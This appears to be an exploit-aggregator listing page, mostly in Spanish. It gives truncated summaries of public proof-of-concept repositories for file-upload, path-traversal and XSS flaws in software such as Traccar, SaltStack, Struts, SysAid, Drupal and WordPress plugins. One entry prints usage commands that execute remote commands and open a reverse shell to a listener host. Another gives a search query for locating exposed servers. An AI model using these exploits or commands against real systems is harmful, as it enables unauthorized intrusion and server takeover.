CVE-2024-24809-Proof-of-concept

Detalle de CVE-2024-24809 Descripción Traccar es un sistema de seguimiento GPS de código abierto. Las versiones anteriores a la 6.0 son vulnerables a path traversal y a la carga sin restricciones de archivos con tipos peligrosos. Dado que el sistema permite el registro por defecto, los atacantes...

CVE-2023-25202

CVE-2023-25202: Mecanismo de carga de archivos inseguro Descripción CVE-2023-25202 involucra un mecanismo de carga de archivos inseguro dentro de la aplicación Therefore, que es demasiado permisivo en los tipos de archivos que los usuarios pueden cargar. La aplicación solo bloquea las cargas de...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444...

CVE-2024-53677

CVE-2024-53677 - Entorno de reproducción de la vulnerabilidad de ejecución remota de código RCE en Apache Struts 2 Este repositorio proporciona un entorno basado en contenedores para reproducir la vulnerabilidad CVE-2024-53677 en Apache Struts 2. Esta vulnerabilidad implica un path traversal y...

CVE-2023-47246-EXP

Detalles de la vulnerabilidad 1. fofa: root@kitploit: body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" 2. Versiones afectadas: SysAid Server23.3.36 Recurrencia de la vulnerabilidad 1. Ejecuta el script: root@kitploit: git clone...

PoC-CVE-2026-38526

CVE-2026-38526 - Krayin CRM PHP Upload RCE Automated exploit for Krayin CRM ≤ 2.2.x. This script exploits an unrestricted file upload vulnerability in the TinyMCE endpoint /admin/tinymce/upload, bypasses MIME-type validation by spoofing image/jpeg, uploads a PHP webshell, and executes arbitrary...

Check-WP-CVE-2020-35489

Check-WP-CVE-2020-35489 CVE-2020-35489 La CVE-2020-35489 se descubrió en el plugin de WordPress Contact Form 7 5.3.1 y versiones anteriores. Al explotar esta vulnerabilidad, los atacantes podían simplemente cargar archivos de cualquier tipo, evitando todas las restricciones impuestas sobre los...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Evita la mitigación de inicio de sesión de bludit y sube un archivo malicioso para ejecutar una rev shell...

CVE-2020-1938-Exploitation

Explotación de CVE-2020-1938 Subida arbitraria de JSP en Apache Tomcat que conduce a RCE Descripción CVE-2020-1938 es una vulnerabilidad crítica que afecta a Apache Tomcat desde 9.0.0.M1 hasta 9.0.0.30, 8.5.0 hasta 8.5.50 y 7.0.0 hasta 7.0.99 ⚠️ Esto fue explotado en un laboratorio de Hack The Box...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE Overview CVE-2026-57827 is a critical-severity CVSS 9.8 unauthenticated arbitrary file upload vulnerability in RSFiles! comrsfiles, a widely...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce = 1.5.0 - Unauthenticated Arbitrary File Upload 💣 Pix for WooCommerce = 1.5.0 – Unauthenticated Arbitrary File Upload CVE-2026-3891 👤 Nxploited 🧩 Description The Pix for WooCommerce plugin for WordPress is vulnerable to unauthenticated arbitrary file upload due t...

monitorr-exploit-toolkit

Monitorr exploit toolkit RCE via unsecure file upload PHP reverse shell, webshell, etc. Administrator account creation via Authorization bypass Technical information leakage : Monitorr version, PHP version, System version & kernel, PHP config, etc. Exploit for CVE-2020-28872 and CVE-2020-28871...

drupal-exploit

drupal-exploit CVE-2018-7600 Este script explotará la vulnerabilidad CVE-2018-7600 en Drupal 7 : drupal.py https://drupaldomain/drupal/ uid=33www-data gid=33www-data groups=33www-data https://nvd.nist.gov/vuln/detail/CVE-2018-7600 https://www.drupal.org/sa-core-2018-002...

CVE-2024-57428

CVE-2024-57428 A stored cross-site scripting XSS vulnerability in PHPJabbers Cinema Booking System v2.0 exists due to unsanitized input in file upload fields eventimg, seatmaps and seat number configurations numbernewX in pjActionCreate. Attackers can inject persistent JavaScript, leading to...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit Este es un Exploit para la subida de archivos sin restricciones en la funcionalidad de subida de archivos grandes en Chamilo-LMS en esta ubicación /main/inc/lib/javascript/bigupload/inc/bigUpload.php en Chamilo LMS = v1.11.24, y los atacantes pueden obtener...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 Lectura Remota de Archivos Este script demuestra cómo explotar una vulnerabilidad en sistemas que utilizan la biblioteca iconv cuando maneja incorrectamente las conversiones de codificación de caracteres, como se describe en CVE-2024-2961. Permite a un atacante leer archivos...

CVE-2024-31835

CVE-2024-31835 Vulnerabilidad de Cross Site Scripting XSS en flatpress CMS Flatpress v1.3 permite a un atacante remoto ejecutar código arbitrario a través de un payload manipulado en el parámetro file name. Componente afectado: Campo de carga de archivos del panel de administración de FlatPress C...

CVE-2022-29464

Exploit CVE-2022-29464 Este repositorio contiene un script para explotar la vulnerabilidad CVE-2022-29464, que permite subir archivos a servidores vulnerables. Úsalo únicamente en entornos autorizados y con fines educativos. Requisitos Python 3.8 o superior Instalación Paso 1: Clonar el repositor...

CVE-2025-6058

🚨 CVE-2025-6058 — Exploit de Carga de Archivos No Autenticado en WordPress WPBookit ≤ 1.0.4 Exploit de Carga Arbitraria de Archivos No Autenticado dirigido al Plugin WPBookit de WordPress ≤ 1.0.4 El exploit permite la carga remota de shell y la ejecución completa de comandos. Autor: 0xgh057r3c0n ...

CVE-2020-10567

POC-CVE-2020-10567 POC de RCE - RESPONSIVE filemanager v.9.14.0. ¡No es la rama principal! ⚠️ Proyecto en GitHub: https://github.com/trippo/ResponsiveFilemanager Requisitos: No se requiere nada, este exploit no necesita autenticación. La aplicación Responsive Filemanager es una herramienta de...